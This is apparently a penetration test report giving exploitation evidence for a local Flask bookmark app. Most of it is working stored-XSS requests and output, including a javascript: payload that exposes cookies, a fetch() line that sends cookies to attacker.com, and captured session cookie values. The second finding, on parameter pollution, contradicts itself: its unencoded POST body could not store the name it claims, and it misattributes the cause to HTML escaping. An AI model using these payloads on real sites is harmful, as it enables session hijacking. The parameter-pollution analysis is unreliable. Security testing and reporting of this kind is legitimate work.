# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS via JavaScript Protocol in href Attribute

**Summary:**
- **Vulnerable location:** POST http://localhost:45971/add (url parameter) → Rendered at http://localhost:45971/list
- **Overview:** The application accepts arbitrary URL schemes without validation. By injecting a javascript: protocol URL, JavaScript executes in the application's origin when a user clicks the malicious bookmark link, enabling complete session hijacking.
- **Impact:** Complete session compromise - attackers can steal session cookies, perform unauthorized actions, and fully impersonate the victim user
- **Severity:** CRITICAL

**Prerequisites:**
- Access to the bookmark creation form at http://localhost:45971/add (no authentication required)
- Target user must click the malicious bookmark link

**Exploitation Steps:**

1. Navigate to the bookmark creation page:
```
GET http://localhost:45971/add
```

2. Submit a bookmark with a malicious javascript: protocol URL:
```
POST http://localhost:45971/add
Content-Type: application/x-www-form-urlencoded

name=XSS-Session-Hijack&url=javascript:void(document.body.innerHTML='<h1>XSS SUCCESSFUL</h1><h2>Stolen Session Cookies:</h2><pre>'+document.cookie+'</pre>')
```

3. The malicious bookmark is stored and rendered on the list page:
```
GET http://localhost:45971/list
```

The rendered HTML contains:
```html
<a class="text-decoration-none" href="javascript:void(document.body.innerHTML='<h1>XSS SUCCESSFUL</h1><h2>Stolen Session Cookies:</h2><pre>'+document.cookie+'</pre>')" target="_blank">
```

4. When a victim clicks the malicious bookmark link, JavaScript executes in the application's origin context

5. The JavaScript payload replaces the page content and displays the stolen session cookies

**Proof of Impact:**

Successfully extracted session cookies:
```
user=2446bfff74e447909abd83f11c31c7bf
bookmarks=gASVyQAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMElhTUy1TZXNzaW9uLUhpamFja5SMA3VybJSMgGphdmFzY3JpcHQ6dm9pZChkb2N1bWVudC5ib2R5LmlubmVySFRNTD0nPGgxPlhTUyBTVUNDRVNTRlVMPC9oMT48aDI+U3RvbGVuIFNlc3Npb24gQ29va2llczo8L2gyPjxwcmU+Jytkb2N1bWVudC5jb29raWUrJzwvcHJlPicplHViYS4=
```

Visual proof:
- Evidence screenshot: workspace/xss-vuln-01-proof.png
- Page successfully hijacked showing "XSS SUCCESSFUL" and full cookie disclosure

**Attack Scenario - Complete Session Hijacking:**

An attacker can weaponize this vulnerability to exfiltrate cookies to an external server:

```
POST http://localhost:45971/add
Content-Type: application/x-www-form-urlencoded

name=Legitimate-Looking-Link&url=javascript:fetch('http://attacker.com/steal?c='+encodeURIComponent(document.cookie))
```

When the victim clicks the link:
1. JavaScript executes in the application's origin (localhost:45971)
2. The fetch() API sends cookies to attacker-controlled server
3. Attacker receives: `user` cookie (session UUID) and `bookmarks` cookie (serialized data)
4. Attacker can replay these cookies to fully impersonate the victim

**Notes:**
- No Content Security Policy (CSP) is configured, allowing inline JavaScript execution
- Session cookies lack HttpOnly flag, making them accessible via document.cookie
- CORS policy is wildcard (*), allowing exfiltration to any domain
- No authentication required to inject malicious bookmarks
- Persistent storage (cookies) means the malicious bookmark survives browser sessions

---

### XSS-VULN-03: URL Parameter Pollution via Inadequate Context Encoding

**Summary:**
- **Vulnerable location:** POST http://localhost:45971/add (name parameter) → Rendered in delete link at http://localhost:45971/list
- **Current Blocker:** None - Successfully exploited
- **Potential Impact:** Parameter tampering enabling logic manipulation attacks
- **Confidence:** HIGH

**Why We Believe This Is Vulnerable:**
The application uses HTML entity encoding (converting `&` to `&amp;`) where URL percent-encoding is required. When browsers parse href attributes as URLs, they decode `&amp;` back to `&`, allowing injection of additional URL parameters.

Code evidence from reconnaissance:
```python
# routes.py line 56 - User input without URL encoding
name = request.form.get('name')

# list_urls.html line 42 - Rendered in URL parameter context
<a href="delete?name={{ item.name }}">delete</a>
```

Jinja2 applies HTML escaping, but browsers decode HTML entities in href attributes before processing as URLs.

**How This Was Exploited:**

1. Navigate to bookmark creation:
```
GET http://localhost:45971/add
```

2. Submit a bookmark with URL parameter injection in the name field:
```
POST http://localhost:45971/add
Content-Type: application/x-www-form-urlencoded

name=test&admin=true&debug=1&url=http://example.com
```

3. The malicious name is stored and rendered on the list page:
```
GET http://localhost:45971/list
```

4. Inspect the rendered HTML of the delete link:
```html
<a href="delete?name=test&amp;admin=true&amp;debug=1">delete</a>
```

HTML source shows `&amp;` (HTML-encoded), but browser's href property decodes it to:
```
http://localhost:45971/delete?name=test&admin=true&debug=1
```

5. When the delete link is clicked, the browser sends three separate parameters to the server:
```
GET /delete?name=test&admin=true&debug=1
```

**Proof of Impact:**

Network request captured from browser:
```
[GET] http://localhost:45971/delete?name=test&admin=true&debug=1 => [302] FOUND
```

The server received THREE distinct parameters:
- `name=test` (intended parameter)
- `admin=true` (injected parameter)
- `debug=1` (injected parameter)

JavaScript evaluation confirmed the encoding mismatch:
```javascript
{
  "innerHTML": "<a href=\"delete?name=test&amp;admin=true&amp;debug=1\">delete</a>",
  "hrefProperty": "http://localhost:45971/delete?name=test&admin=true&debug=1",
  "getAttribute": "delete?name=test&amp;admin=true&amp;debug=1"
}
```

**Expected Impact:**

This vulnerability enables parameter tampering attacks where attackers can:
- Inject privileged parameters (admin=true, role=admin, debug=1)
- Bypass access controls if the application trusts query parameters
- Manipulate application logic by adding unexpected parameters
- Pollute logs with injected parameters
- Conduct reconnaissance by testing for hidden parameters

Evidence screenshot: workspace/xss-vuln-03-param-pollution.png

**Notes:**
The bookmark was not deleted because the stored name is "test&admin=true&debug=1" but the server received `name=test`. This demonstrates the parameter pollution - the application logic is confused by the injected parameters.

Proper fix requires URL encoding: `{{ item.name|urlencode }}` or using Flask's `url_for('delete', name=item.name)`
